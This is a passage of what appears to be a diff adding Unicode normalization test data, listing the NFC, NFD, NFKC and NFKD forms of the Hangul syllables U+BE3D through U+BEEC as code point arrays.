+{ source: [0xBE3D], NFC: [0xBE3D], NFD: [0x1107, 0x1174, 0x11BC], NFKC: [0xBE3D], NFKD: [0x1107, 0x1174, 0x11BC] },
+{ source: [0xBE3E], NFC: [0xBE3E], NFD: [0x1107, 0x1174, 0x11BD], NFKC: [0xBE3E], NFKD: [0x1107, 0x1174, 0x11BD] },
+{ source: [0xBE3F], NFC: [0xBE3F], NFD: [0x1107, 0x1174, 0x11BE], NFKC: [0xBE3F], NFKD: [0x1107, 0x1174, 0x11BE] },
+{ source: [0xBE40], NFC: [0xBE40], NFD: [0x1107, 0x1174, 0x11BF], NFKC: [0xBE40], NFKD: [0x1107, 0x1174, 0x11BF] },
+{ source: [0xBE41], NFC: [0xBE41], NFD: [0x1107, 0x1174, 0x11C0], NFKC: [0xBE41], NFKD: [0x1107, 0x1174, 0x11C0] },
+{ source: [0xBE42], NFC: [0xBE42], NFD: [0x1107, 0x1174, 0x11C1], NFKC: [0xBE42], NFKD: [0x1107, 0x1174, 0x11C1] },
+{ source: [0xBE43], NFC: [0xBE43], NFD: [0x1107, 0x1174, 0x11C2], NFKC: [0xBE43], NFKD: [0x1107, 0x1174, 0x11C2] },
+{ source: [0xBE44], NFC: [0xBE44], NFD: [0x1107, 0x1175], NFKC: [0xBE44], NFKD: [0x1107, 0x1175] },
+{ source: [0xBE45], NFC: [0xBE45], NFD: [0x1107, 0x1175, 0x11A8], NFKC: [0xBE45], NFKD: [0x1107, 0x1175, 0x11A8] },
+{ source: [0xBE46], NFC: [0xBE46], NFD: [0x1107, 0x1175, 0x11A9], NFKC: [0xBE46], NFKD: [0x1107, 0x1175, 0x11A9] },
+{ source: [0xBE47], NFC: [0xBE47], NFD: [0x1107, 0x1175, 0x11AA], NFKC: [0xBE47], NFKD: [0x1107, 0x1175, 0x11AA] },
+{ source: [0xBE48], NFC: [0xBE48], NFD: [0x1107, 0x1175, 0x11AB], NFKC: [0xBE48], NFKD: [0x1107, 0x1175, 0x11AB] },
+{ source: [0xBE49], NFC: [0xBE49], NFD: [0x1107, 0x1175, 0x11AC], NFKC: [0xBE49], NFKD: [0x1107, 0x1175, 0x11AC] },
+{ source: [0xBE4A], NFC: [0xBE4A], NFD: [0x1107, 0x1175, 0x11AD], NFKC: [0xBE4A], NFKD: [0x1107, 0x1175, 0x11AD] },
+{ source: [0xBE4B], NFC: [0xBE4B], NFD: [0x1107, 0x1175, 0x11AE], NFKC: [0xBE4B], NFKD: [0x1107, 0x1175, 0x11AE] },
+{ source: [0xBE4C], NFC: [0xBE4C], NFD: [0x1107, 0x1175, 0x11AF], NFKC: [0xBE4C], NFKD: [0x1107, 0x1175, 0x11AF] },
+{ source: [0xBE4D], NFC: [0xBE4D], NFD: [0x1107, 0x1175, 0x11B0], NFKC: [0xBE4D], NFKD: [0x1107, 0x1175, 0x11B0] },
+{ source: [0xBE4E], NFC: [0xBE4E], NFD: [0x1107, 0x1175, 0x11B1], NFKC: [0xBE4E], NFKD: [0x1107, 0x1175, 0x11B1] },
+{ source: [0xBE4F], NFC: [0xBE4F], NFD: [0x1107, 0x1175, 0x11B2], NFKC: [0xBE4F], NFKD: [0x1107, 0x1175, 0x11B2] },
+{ source: [0xBE50], NFC: [0xBE50], NFD: [0x1107, 0x1175, 0x11B3], NFKC: [0xBE50], NFKD: [0x1107, 0x1175, 0x11B3] },
+{ source: [0xBE51], NFC: [0xBE51], NFD: [0x1107, 0x1175, 0x11B4], NFKC: [0xBE51], NFKD: [0x1107, 0x1175, 0x11B4] },
+{ source: [0xBE52], NFC: [0xBE52], NFD: [0x1107, 0x1175, 0x11B5], NFKC: [0xBE52], NFKD: [0x1107, 0x1175, 0x11B5] },
+{ source: [0xBE53], NFC: [0xBE53], NFD: [0x1107, 0x1175, 0x11B6], NFKC: [0xBE53], NFKD: [0x1107, 0x1175, 0x11B6] },
+{ source: [0xBE54], NFC: [0xBE54], NFD: [0x1107, 0x1175, 0x11B7], NFKC: [0xBE54], NFKD: [0x1107, 0x1175, 0x11B7] },
+{ source: [0xBE55], NFC: [0xBE55], NFD: [0x1107, 0x1175, 0x11B8], NFKC: [0xBE55], NFKD: [0x1107, 0x1175, 0x11B8] },
+{ source: [0xBE56], NFC: [0xBE56], NFD: [0x1107, 0x1175, 0x11B9], NFKC: [0xBE56], NFKD: [0x1107, 0x1175, 0x11B9] },
+{ source: [0xBE57], NFC: [0xBE57], NFD: [0x1107, 0x1175, 0x11BA], NFKC: [0xBE57], NFKD: [0x1107, 0x1175, 0x11BA] },
+{ source: [0xBE58], NFC: [0xBE58], NFD: [0x1107, 0x1175, 0x11BB], NFKC: [0xBE58], NFKD: [0x1107, 0x1175, 0x11BB] },
+{ source: [0xBE59], NFC: [0xBE59], NFD: [0x1107, 0x1175, 0x11BC], NFKC: [0xBE59], NFKD: [0x1107, 0x1175, 0x11BC] },
+{ source: [0xBE5A], NFC: [0xBE5A], NFD: [0x1107, 0x1175, 0x11BD], NFKC: [0xBE5A], NFKD: [0x1107, 0x1175, 0x11BD] },
+{ source: [0xBE5B], NFC: [0xBE5B], NFD: [0x1107, 0x1175, 0x11BE], NFKC: [0xBE5B], NFKD: [0x1107, 0x1175, 0x11BE] },
+{ source: [0xBE5C], NFC: [0xBE5C], NFD: [0x1107, 0x1175, 0x11BF], NFKC: [0xBE5C], NFKD: [0x1107, 0x1175, 0x11BF] },
+{ source: [0xBE5D], NFC: [0xBE5D], NFD: [0x1107, 0x1175, 0x11C0], NFKC: [0xBE5D], NFKD: [0x1107, 0x1175, 0x11C0] },
+{ source: [0xBE5E], NFC: [0xBE5E], NFD: [0x1107, 0x1175, 0x11C1], NFKC: [0xBE5E], NFKD: [0x1107, 0x1175, 0x11C1] },
+{ source: [0xBE5F], NFC: [0xBE5F], NFD: [0x1107, 0x1175, 0x11C2], NFKC: [0xBE5F], NFKD: [0x1107, 0x1175, 0x11C2] },
+{ source: [0xBE60], NFC: [0xBE60], NFD: [0x1108, 0x1161], NFKC: [0xBE60], NFKD: [0x1108, 0x1161] },
+{ source: [0xBE61], NFC: [0xBE61], NFD: [0x1108, 0x1161, 0x11A8], NFKC: [0xBE61], NFKD: [0x1108, 0x1161, 0x11A8] },
+{ source: [0xBE62], NFC: [0xBE62], NFD: [0x1108, 0x1161, 0x11A9], NFKC: [0xBE62], NFKD: [0x1108, 0x1161, 0x11A9] },
+{ source: [0xBE63], NFC: [0xBE63], NFD: [0x1108, 0x1161, 0x11AA], NFKC: [0xBE63], NFKD: [0x1108, 0x1161, 0x11AA] },
+{ source: [0xBE64], NFC: [0xBE64], NFD: [0x1108, 0x1161, 0x11AB], NFKC: [0xBE64], NFKD: [0x1108, 0x1161, 0x11AB] },
+{ source: [0xBE65], NFC: [0xBE65], NFD: [0x1108, 0x1161, 0x11AC], NFKC: [0xBE65], NFKD: [0x1108, 0x1161, 0x11AC] },
+{ source: [0xBE66], NFC: [0xBE66], NFD: [0x1108, 0x1161, 0x11AD], NFKC: [0xBE66], NFKD: [0x1108, 0x1161, 0x11AD] },
+{ source: [0xBE67], NFC: [0xBE67], NFD: [0x1108, 0x1161, 0x11AE], NFKC: [0xBE67], NFKD: [0x1108, 0x1161, 0x11AE] },
+{ source: [0xBE68], NFC: [0xBE68], NFD: [0x1108, 0x1161, 0x11AF], NFKC: [0xBE68], NFKD: [0x1108, 0x1161, 0x11AF] },
+{ source: [0xBE69], NFC: [0xBE69], NFD: [0x1108, 0x1161, 0x11B0], NFKC: [0xBE69], NFKD: [0x1108, 0x1161, 0x11B0] },
+{ source: [0xBE6A], NFC: [0xBE6A], NFD: [0x1108, 0x1161, 0x11B1], NFKC: [0xBE6A], NFKD: [0x1108, 0x1161, 0x11B1] },
+{ source: [0xBE6B], NFC: [0xBE6B], NFD: [0x1108, 0x1161, 0x11B2], NFKC: [0xBE6B], NFKD: [0x1108, 0x1161, 0x11B2] },
+{ source: [0xBE6C], NFC: [0xBE6C], NFD: [0x1108, 0x1161, 0x11B3], NFKC: [0xBE6C], NFKD: [0x1108, 0x1161, 0x11B3] },
+{ source: [0xBE6D], NFC: [0xBE6D], NFD: [0x1108, 0x1161, 0x11B4], NFKC: [0xBE6D], NFKD: [0x1108, 0x1161, 0x11B4] },
+{ source: [0xBE6E], NFC: [0xBE6E], NFD: [0x1108, 0x1161, 0x11B5], NFKC: [0xBE6E], NFKD: [0x1108, 0x1161, 0x11B5] },
+{ source: [0xBE6F], NFC: [0xBE6F], NFD: [0x1108, 0x1161, 0x11B6], NFKC: [0xBE6F], NFKD: [0x1108, 0x1161, 0x11B6] },
+{ source: [0xBE70], NFC: [0xBE70], NFD: [0x1108, 0x1161, 0x11B7], NFKC: [0xBE70], NFKD: [0x1108, 0x1161, 0x11B7] },
+{ source: [0xBE71], NFC: [0xBE71], NFD: [0x1108, 0x1161, 0x11B8], NFKC: [0xBE71], NFKD: [0x1108, 0x1161, 0x11B8] },
+{ source: [0xBE72], NFC: [0xBE72], NFD: [0x1108, 0x1161, 0x11B9], NFKC: [0xBE72], NFKD: [0x1108, 0x1161, 0x11B9] },
+{ source: [0xBE73], NFC: [0xBE73], NFD: [0x1108, 0x1161, 0x11BA], NFKC: [0xBE73], NFKD: [0x1108, 0x1161, 0x11BA] },
+{ source: [0xBE74], NFC: [0xBE74], NFD: [0x1108, 0x1161, 0x11BB], NFKC: [0xBE74], NFKD: [0x1108, 0x1161, 0x11BB] },
+{ source: [0xBE75], NFC: [0xBE75], NFD: [0x1108, 0x1161, 0x11BC], NFKC: [0xBE75], NFKD: [0x1108, 0x1161, 0x11BC] },
+{ source: [0xBE76], NFC: [0xBE76], NFD: [0x1108, 0x1161, 0x11BD], NFKC: [0xBE76], NFKD: [0x1108, 0x1161, 0x11BD] },
+{ source: [0xBE77], NFC: [0xBE77], NFD: [0x1108, 0x1161, 0x11BE], NFKC: [0xBE77], NFKD: [0x1108, 0x1161, 0x11BE] },
+{ source: [0xBE78], NFC: [0xBE78], NFD: [0x1108, 0x1161, 0x11BF], NFKC: [0xBE78], NFKD: [0x1108, 0x1161, 0x11BF] },
+{ source: [0xBE79], NFC: [0xBE79], NFD: [0x1108, 0x1161, 0x11C0], NFKC: [0xBE79], NFKD: [0x1108, 0x1161, 0x11C0] },
+{ source: [0xBE7A], NFC: [0xBE7A], NFD: [0x1108, 0x1161, 0x11C1], NFKC: [0xBE7A], NFKD: [0x1108, 0x1161, 0x11C1] },
+{ source: [0xBE7B], NFC: [0xBE7B], NFD: [0x1108, 0x1161, 0x11C2], NFKC: [0xBE7B], NFKD: [0x1108, 0x1161, 0x11C2] },
+{ source: [0xBE7C], NFC: [0xBE7C], NFD: [0x1108, 0x1162], NFKC: [0xBE7C], NFKD: [0x1108, 0x1162] },
+{ source: [0xBE7D], NFC: [0xBE7D], NFD: [0x1108, 0x1162, 0x11A8], NFKC: [0xBE7D], NFKD: [0x1108, 0x1162, 0x11A8] },
+{ source: [0xBE7E], NFC: [0xBE7E], NFD: [0x1108, 0x1162, 0x11A9], NFKC: [0xBE7E], NFKD: [0x1108, 0x1162, 0x11A9] },
+{ source: [0xBE7F], NFC: [0xBE7F], NFD: [0x1108, 0x1162, 0x11AA], NFKC: [0xBE7F], NFKD: [0x1108, 0x1162, 0x11AA] },
+{ source: [0xBE80], NFC: [0xBE80], NFD: [0x1108, 0x1162, 0x11AB], NFKC: [0xBE80], NFKD: [0x1108, 0x1162, 0x11AB] },
+{ source: [0xBE81], NFC: [0xBE81], NFD: [0x1108, 0x1162, 0x11AC], NFKC: [0xBE81], NFKD: [0x1108, 0x1162, 0x11AC] },
+{ source: [0xBE82], NFC: [0xBE82], NFD: [0x1108, 0x1162, 0x11AD], NFKC: [0xBE82], NFKD: [0x1108, 0x1162, 0x11AD] },
+{ source: [0xBE83], NFC: [0xBE83], NFD: [0x1108, 0x1162, 0x11AE], NFKC: [0xBE83], NFKD: [0x1108, 0x1162, 0x11AE] },
+{ source: [0xBE84], NFC: [0xBE84], NFD: [0x1108, 0x1162, 0x11AF], NFKC: [0xBE84], NFKD: [0x1108, 0x1162, 0x11AF] },
+{ source: [0xBE85], NFC: [0xBE85], NFD: [0x1108, 0x1162, 0x11B0], NFKC: [0xBE85], NFKD: [0x1108, 0x1162, 0x11B0] },
+{ source: [0xBE86], NFC: [0xBE86], NFD: [0x1108, 0x1162, 0x11B1], NFKC: [0xBE86], NFKD: [0x1108, 0x1162, 0x11B1] },
+{ source: [0xBE87], NFC: [0xBE87], NFD: [0x1108, 0x1162, 0x11B2], NFKC: [0xBE87], NFKD: [0x1108, 0x1162, 0x11B2] },
+{ source: [0xBE88], NFC: [0xBE88], NFD: [0x1108, 0x1162, 0x11B3], NFKC: [0xBE88], NFKD: [0x1108, 0x1162, 0x11B3] },
+{ source: [0xBE89], NFC: [0xBE89], NFD: [0x1108, 0x1162, 0x11B4], NFKC: [0xBE89], NFKD: [0x1108, 0x1162, 0x11B4] },
+{ source: [0xBE8A], NFC: [0xBE8A], NFD: [0x1108, 0x1162, 0x11B5], NFKC: [0xBE8A], NFKD: [0x1108, 0x1162, 0x11B5] },
+{ source: [0xBE8B], NFC: [0xBE8B], NFD: [0x1108, 0x1162, 0x11B6], NFKC: [0xBE8B], NFKD: [0x1108, 0x1162, 0x11B6] },
+{ source: [0xBE8C], NFC: [0xBE8C], NFD: [0x1108, 0x1162, 0x11B7], NFKC: [0xBE8C], NFKD: [0x1108, 0x1162, 0x11B7] },
+{ source: [0xBE8D], NFC: [0xBE8D], NFD: [0x1108, 0x1162, 0x11B8], NFKC: [0xBE8D], NFKD: [0x1108, 0x1162, 0x11B8] },
+{ source: [0xBE8E], NFC: [0xBE8E], NFD: [0x1108, 0x1162, 0x11B9], NFKC: [0xBE8E], NFKD: [0x1108, 0x1162, 0x11B9] },
+{ source: [0xBE8F], NFC: [0xBE8F], NFD: [0x1108, 0x1162, 0x11BA], NFKC: [0xBE8F], NFKD: [0x1108, 0x1162, 0x11BA] },
+{ source: [0xBE90], NFC: [0xBE90], NFD: [0x1108, 0x1162, 0x11BB], NFKC: [0xBE90], NFKD: [0x1108, 0x1162, 0x11BB] },
+{ source: [0xBE91], NFC: [0xBE91], NFD: [0x1108, 0x1162, 0x11BC], NFKC: [0xBE91], NFKD: [0x1108, 0x1162, 0x11BC] },
+{ source: [0xBE92], NFC: [0xBE92], NFD: [0x1108, 0x1162, 0x11BD], NFKC: [0xBE92], NFKD: [0x1108, 0x1162, 0x11BD] },
+{ source: [0xBE93], NFC: [0xBE93], NFD: [0x1108, 0x1162, 0x11BE], NFKC: [0xBE93], NFKD: [0x1108, 0x1162, 0x11BE] },
+{ source: [0xBE94], NFC: [0xBE94], NFD: [0x1108, 0x1162, 0x11BF], NFKC: [0xBE94], NFKD: [0x1108, 0x1162, 0x11BF] },
+{ source: [0xBE95], NFC: [0xBE95], NFD: [0x1108, 0x1162, 0x11C0], NFKC: [0xBE95], NFKD: [0x1108, 0x1162, 0x11C0] },
+{ source: [0xBE96], NFC: [0xBE96], NFD: [0x1108, 0x1162, 0x11C1], NFKC: [0xBE96], NFKD: [0x1108, 0x1162, 0x11C1] },
+{ source: [0xBE97], NFC: [0xBE97], NFD: [0x1108, 0x1162, 0x11C2], NFKC: [0xBE97], NFKD: [0x1108, 0x1162, 0x11C2] },
+{ source: [0xBE98], NFC: [0xBE98], NFD: [0x1108, 0x1163], NFKC: [0xBE98], NFKD: [0x1108, 0x1163] },
+{ source: [0xBE99], NFC: [0xBE99], NFD: [0x1108, 0x1163, 0x11A8], NFKC: [0xBE99], NFKD: [0x1108, 0x1163, 0x11A8] },
+{ source: [0xBE9A], NFC: [0xBE9A], NFD: [0x1108, 0x1163, 0x11A9], NFKC: [0xBE9A], NFKD: [0x1108, 0x1163, 0x11A9] },
+{ source: [0xBE9B], NFC: [0xBE9B], NFD: [0x1108, 0x1163, 0x11AA], NFKC: [0xBE9B], NFKD: [0x1108, 0x1163, 0x11AA] },
+{ source: [0xBE9C], NFC: [0xBE9C], NFD: [0x1108, 0x1163, 0x11AB], NFKC: [0xBE9C], NFKD: [0x1108, 0x1163, 0x11AB] },
+{ source: [0xBE9D], NFC: [0xBE9D], NFD: [0x1108, 0x1163, 0x11AC], NFKC: [0xBE9D], NFKD: [0x1108, 0x1163, 0x11AC] },
+{ source: [0xBE9E], NFC: [0xBE9E], NFD: [0x1108, 0x1163, 0x11AD], NFKC: [0xBE9E], NFKD: [0x1108, 0x1163, 0x11AD] },
+{ source: [0xBE9F], NFC: [0xBE9F], NFD: [0x1108, 0x1163, 0x11AE], NFKC: [0xBE9F], NFKD: [0x1108, 0x1163, 0x11AE] },
+{ source: [0xBEA0], NFC: [0xBEA0], NFD: [0x1108, 0x1163, 0x11AF], NFKC: [0xBEA0], NFKD: [0x1108, 0x1163, 0x11AF] },
+{ source: [0xBEA1], NFC: [0xBEA1], NFD: [0x1108, 0x1163, 0x11B0], NFKC: [0xBEA1], NFKD: [0x1108, 0x1163, 0x11B0] },
+{ source: [0xBEA2], NFC: [0xBEA2], NFD: [0x1108, 0x1163, 0x11B1], NFKC: [0xBEA2], NFKD: [0x1108, 0x1163, 0x11B1] },
+{ source: [0xBEA3], NFC: [0xBEA3], NFD: [0x1108, 0x1163, 0x11B2], NFKC: [0xBEA3], NFKD: [0x1108, 0x1163, 0x11B2] },
+{ source: [0xBEA4], NFC: [0xBEA4], NFD: [0x1108, 0x1163, 0x11B3], NFKC: [0xBEA4], NFKD: [0x1108, 0x1163, 0x11B3] },
+{ source: [0xBEA5], NFC: [0xBEA5], NFD: [0x1108, 0x1163, 0x11B4], NFKC: [0xBEA5], NFKD: [0x1108, 0x1163, 0x11B4] },
+{ source: [0xBEA6], NFC: [0xBEA6], NFD: [0x1108, 0x1163, 0x11B5], NFKC: [0xBEA6], NFKD: [0x1108, 0x1163, 0x11B5] },
+{ source: [0xBEA7], NFC: [0xBEA7], NFD: [0x1108, 0x1163, 0x11B6], NFKC: [0xBEA7], NFKD: [0x1108, 0x1163, 0x11B6] },
+{ source: [0xBEA8], NFC: [0xBEA8], NFD: [0x1108, 0x1163, 0x11B7], NFKC: [0xBEA8], NFKD: [0x1108, 0x1163, 0x11B7] },
+{ source: [0xBEA9], NFC: [0xBEA9], NFD: [0x1108, 0x1163, 0x11B8], NFKC: [0xBEA9], NFKD: [0x1108, 0x1163, 0x11B8] },
+{ source: [0xBEAA], NFC: [0xBEAA], NFD: [0x1108, 0x1163, 0x11B9], NFKC: [0xBEAA], NFKD: [0x1108, 0x1163, 0x11B9] },
+{ source: [0xBEAB], NFC: [0xBEAB], NFD: [0x1108, 0x1163, 0x11BA], NFKC: [0xBEAB], NFKD: [0x1108, 0x1163, 0x11BA] },
+{ source: [0xBEAC], NFC: [0xBEAC], NFD: [0x1108, 0x1163, 0x11BB], NFKC: [0xBEAC], NFKD: [0x1108, 0x1163, 0x11BB] },
+{ source: [0xBEAD], NFC: [0xBEAD], NFD: [0x1108, 0x1163, 0x11BC], NFKC: [0xBEAD], NFKD: [0x1108, 0x1163, 0x11BC] },
+{ source: [0xBEAE], NFC: [0xBEAE], NFD: [0x1108, 0x1163, 0x11BD], NFKC: [0xBEAE], NFKD: [0x1108, 0x1163, 0x11BD] },
+{ source: [0xBEAF], NFC: [0xBEAF], NFD: [0x1108, 0x1163, 0x11BE], NFKC: [0xBEAF], NFKD: [0x1108, 0x1163, 0x11BE] },
+{ source: [0xBEB0], NFC: [0xBEB0], NFD: [0x1108, 0x1163, 0x11BF], NFKC: [0xBEB0], NFKD: [0x1108, 0x1163, 0x11BF] },
+{ source: [0xBEB1], NFC: [0xBEB1], NFD: [0x1108, 0x1163, 0x11C0], NFKC: [0xBEB1], NFKD: [0x1108, 0x1163, 0x11C0] },
+{ source: [0xBEB2], NFC: [0xBEB2], NFD: [0x1108, 0x1163, 0x11C1], NFKC: [0xBEB2], NFKD: [0x1108, 0x1163, 0x11C1] },
+{ source: [0xBEB3], NFC: [0xBEB3], NFD: [0x1108, 0x1163, 0x11C2], NFKC: [0xBEB3], NFKD: [0x1108, 0x1163, 0x11C2] },
+{ source: [0xBEB4], NFC: [0xBEB4], NFD: [0x1108, 0x1164], NFKC: [0xBEB4], NFKD: [0x1108, 0x1164] },
+{ source: [0xBEB5], NFC: [0xBEB5], NFD: [0x1108, 0x1164, 0x11A8], NFKC: [0xBEB5], NFKD: [0x1108, 0x1164, 0x11A8] },
+{ source: [0xBEB6], NFC: [0xBEB6], NFD: [0x1108, 0x1164, 0x11A9], NFKC: [0xBEB6], NFKD: [0x1108, 0x1164, 0x11A9] },
+{ source: [0xBEB7], NFC: [0xBEB7], NFD: [0x1108, 0x1164, 0x11AA], NFKC: [0xBEB7], NFKD: [0x1108, 0x1164, 0x11AA] },
+{ source: [0xBEB8], NFC: [0xBEB8], NFD: [0x1108, 0x1164, 0x11AB], NFKC: [0xBEB8], NFKD: [0x1108, 0x1164, 0x11AB] },
+{ source: [0xBEB9], NFC: [0xBEB9], NFD: [0x1108, 0x1164, 0x11AC], NFKC: [0xBEB9], NFKD: [0x1108, 0x1164, 0x11AC] },
+{ source: [0xBEBA], NFC: [0xBEBA], NFD: [0x1108, 0x1164, 0x11AD], NFKC: [0xBEBA], NFKD: [0x1108, 0x1164, 0x11AD] },
+{ source: [0xBEBB], NFC: [0xBEBB], NFD: [0x1108, 0x1164, 0x11AE], NFKC: [0xBEBB], NFKD: [0x1108, 0x1164, 0x11AE] },
+{ source: [0xBEBC], NFC: [0xBEBC], NFD: [0x1108, 0x1164, 0x11AF], NFKC: [0xBEBC], NFKD: [0x1108, 0x1164, 0x11AF] },
+{ source: [0xBEBD], NFC: [0xBEBD], NFD: [0x1108, 0x1164, 0x11B0], NFKC: [0xBEBD], NFKD: [0x1108, 0x1164, 0x11B0] },
+{ source: [0xBEBE], NFC: [0xBEBE], NFD: [0x1108, 0x1164, 0x11B1], NFKC: [0xBEBE], NFKD: [0x1108, 0x1164, 0x11B1] },
+{ source: [0xBEBF], NFC: [0xBEBF], NFD: [0x1108, 0x1164, 0x11B2], NFKC: [0xBEBF], NFKD: [0x1108, 0x1164, 0x11B2] },
+{ source: [0xBEC0], NFC: [0xBEC0], NFD: [0x1108, 0x1164, 0x11B3], NFKC: [0xBEC0], NFKD: [0x1108, 0x1164, 0x11B3] },
+{ source: [0xBEC1], NFC: [0xBEC1], NFD: [0x1108, 0x1164, 0x11B4], NFKC: [0xBEC1], NFKD: [0x1108, 0x1164, 0x11B4] },
+{ source: [0xBEC2], NFC: [0xBEC2], NFD: [0x1108, 0x1164, 0x11B5], NFKC: [0xBEC2], NFKD: [0x1108, 0x1164, 0x11B5] },
+{ source: [0xBEC3], NFC: [0xBEC3], NFD: [0x1108, 0x1164, 0x11B6], NFKC: [0xBEC3], NFKD: [0x1108, 0x1164, 0x11B6] },
+{ source: [0xBEC4], NFC: [0xBEC4], NFD: [0x1108, 0x1164, 0x11B7], NFKC: [0xBEC4], NFKD: [0x1108, 0x1164, 0x11B7] },
+{ source: [0xBEC5], NFC: [0xBEC5], NFD: [0x1108, 0x1164, 0x11B8], NFKC: [0xBEC5], NFKD: [0x1108, 0x1164, 0x11B8] },
+{ source: [0xBEC6], NFC: [0xBEC6], NFD: [0x1108, 0x1164, 0x11B9], NFKC: [0xBEC6], NFKD: [0x1108, 0x1164, 0x11B9] },
+{ source: [0xBEC7], NFC: [0xBEC7], NFD: [0x1108, 0x1164, 0x11BA], NFKC: [0xBEC7], NFKD: [0x1108, 0x1164, 0x11BA] },
+{ source: [0xBEC8], NFC: [0xBEC8], NFD: [0x1108, 0x1164, 0x11BB], NFKC: [0xBEC8], NFKD: [0x1108, 0x1164, 0x11BB] },
+{ source: [0xBEC9], NFC: [0xBEC9], NFD: [0x1108, 0x1164, 0x11BC], NFKC: [0xBEC9], NFKD: [0x1108, 0x1164, 0x11BC] },
+{ source: [0xBECA], NFC: [0xBECA], NFD: [0x1108, 0x1164, 0x11BD], NFKC: [0xBECA], NFKD: [0x1108, 0x1164, 0x11BD] },
+{ source: [0xBECB], NFC: [0xBECB], NFD: [0x1108, 0x1164, 0x11BE], NFKC: [0xBECB], NFKD: [0x1108, 0x1164, 0x11BE] },
+{ source: [0xBECC], NFC: [0xBECC], NFD: [0x1108, 0x1164, 0x11BF], NFKC: [0xBECC], NFKD: [0x1108, 0x1164, 0x11BF] },
+{ source: [0xBECD], NFC: [0xBECD], NFD: [0x1108, 0x1164, 0x11C0], NFKC: [0xBECD], NFKD: [0x1108, 0x1164, 0x11C0] },
+{ source: [0xBECE], NFC: [0xBECE], NFD: [0x1108, 0x1164, 0x11C1], NFKC: [0xBECE], NFKD: [0x1108, 0x1164, 0x11C1] },
+{ source: [0xBECF], NFC: [0xBECF], NFD: [0x1108, 0x1164, 0x11C2], NFKC: [0xBECF], NFKD: [0x1108, 0x1164, 0x11C2] },
+{ source: [0xBED0], NFC: [0xBED0], NFD: [0x1108, 0x1165], NFKC: [0xBED0], NFKD: [0x1108, 0x1165] },
+{ source: [0xBED1], NFC: [0xBED1], NFD: [0x1108, 0x1165, 0x11A8], NFKC: [0xBED1], NFKD: [0x1108, 0x1165, 0x11A8] },
+{ source: [0xBED2], NFC: [0xBED2], NFD: [0x1108, 0x1165, 0x11A9], NFKC: [0xBED2], NFKD: [0x1108, 0x1165, 0x11A9] },
+{ source: [0xBED3], NFC: [0xBED3], NFD: [0x1108, 0x1165, 0x11AA], NFKC: [0xBED3], NFKD: [0x1108, 0x1165, 0x11AA] },
+{ source: [0xBED4], NFC: [0xBED4], NFD: [0x1108, 0x1165, 0x11AB], NFKC: [0xBED4], NFKD: [0x1108, 0x1165, 0x11AB] },
+{ source: [0xBED5], NFC: [0xBED5], NFD: [0x1108, 0x1165, 0x11AC], NFKC: [0xBED5], NFKD: [0x1108, 0x1165, 0x11AC] },
+{ source: [0xBED6], NFC: [0xBED6], NFD: [0x1108, 0x1165, 0x11AD], NFKC: [0xBED6], NFKD: [0x1108, 0x1165, 0x11AD] },
+{ source: [0xBED7], NFC: [0xBED7], NFD: [0x1108, 0x1165, 0x11AE], NFKC: [0xBED7], NFKD: [0x1108, 0x1165, 0x11AE] },
+{ source: [0xBED8], NFC: [0xBED8], NFD: [0x1108, 0x1165, 0x11AF], NFKC: [0xBED8], NFKD: [0x1108, 0x1165, 0x11AF] },
+{ source: [0xBED9], NFC: [0xBED9], NFD: [0x1108, 0x1165, 0x11B0], NFKC: [0xBED9], NFKD: [0x1108, 0x1165, 0x11B0] },
+{ source: [0xBEDA], NFC: [0xBEDA], NFD: [0x1108, 0x1165, 0x11B1], NFKC: [0xBEDA], NFKD: [0x1108, 0x1165, 0x11B1] },
+{ source: [0xBEDB], NFC: [0xBEDB], NFD: [0x1108, 0x1165, 0x11B2], NFKC: [0xBEDB], NFKD: [0x1108, 0x1165, 0x11B2] },
+{ source: [0xBEDC], NFC: [0xBEDC], NFD: [0x1108, 0x1165, 0x11B3], NFKC: [0xBEDC], NFKD: [0x1108, 0x1165, 0x11B3] },
+{ source: [0xBEDD], NFC: [0xBEDD], NFD: [0x1108, 0x1165, 0x11B4], NFKC: [0xBEDD], NFKD: [0x1108, 0x1165, 0x11B4] },
+{ source: [0xBEDE], NFC: [0xBEDE], NFD: [0x1108, 0x1165, 0x11B5], NFKC: [0xBEDE], NFKD: [0x1108, 0x1165, 0x11B5] },
+{ source: [0xBEDF], NFC: [0xBEDF], NFD: [0x1108, 0x1165, 0x11B6], NFKC: [0xBEDF], NFKD: [0x1108, 0x1165, 0x11B6] },
+{ source: [0xBEE0], NFC: [0xBEE0], NFD: [0x1108, 0x1165, 0x11B7], NFKC: [0xBEE0], NFKD: [0x1108, 0x1165, 0x11B7] },
+{ source: [0xBEE1], NFC: [0xBEE1], NFD: [0x1108, 0x1165, 0x11B8], NFKC: [0xBEE1], NFKD: [0x1108, 0x1165, 0x11B8] },
+{ source: [0xBEE2], NFC: [0xBEE2], NFD: [0x1108, 0x1165, 0x11B9], NFKC: [0xBEE2], NFKD: [0x1108, 0x1165, 0x11B9] },
+{ source: [0xBEE3], NFC: [0xBEE3], NFD: [0x1108, 0x1165, 0x11BA], NFKC: [0xBEE3], NFKD: [0x1108, 0x1165, 0x11BA] },
+{ source: [0xBEE4], NFC: [0xBEE4], NFD: [0x1108, 0x1165, 0x11BB], NFKC: [0xBEE4], NFKD: [0x1108, 0x1165, 0x11BB] },
+{ source: [0xBEE5], NFC: [0xBEE5], NFD: [0x1108, 0x1165, 0x11BC], NFKC: [0xBEE5], NFKD: [0x1108, 0x1165, 0x11BC] },
+{ source: [0xBEE6], NFC: [0xBEE6], NFD: [0x1108, 0x1165, 0x11BD], NFKC: [0xBEE6], NFKD: [0x1108, 0x1165, 0x11BD] },
+{ source: [0xBEE7], NFC: [0xBEE7], NFD: [0x1108, 0x1165, 0x11BE], NFKC: [0xBEE7], NFKD: [0x1108, 0x1165, 0x11BE] },
+{ source: [0xBEE8], NFC: [0xBEE8], NFD: [0x1108, 0x1165, 0x11BF], NFKC: [0xBEE8], NFKD: [0x1108, 0x1165, 0x11BF] },
+{ source: [0xBEE9], NFC: [0xBEE9], NFD: [0x1108, 0x1165, 0x11C0], NFKC: [0xBEE9], NFKD: [0x1108, 0x1165, 0x11C0] },
+{ source: [0xBEEA], NFC: [0xBEEA], NFD: [0x1108, 0x1165, 0x11C1], NFKC: [0xBEEA], NFKD: [0x1108, 0x1165, 0x11C1] },
+{ source: [0xBEEB], NFC: [0xBEEB], NFD: [0x1108, 0x1165, 0x11C2], NFKC: [0xBEEB], NFKD: [0x1108, 0x1165, 0x11C2] },
+{ source: [0xBEEC], NFC: [0xBEEC], NFD: [0x1108, 0x1166], NFKC: [0xBEEC], NFKD: [0x1108, 0x1166] },
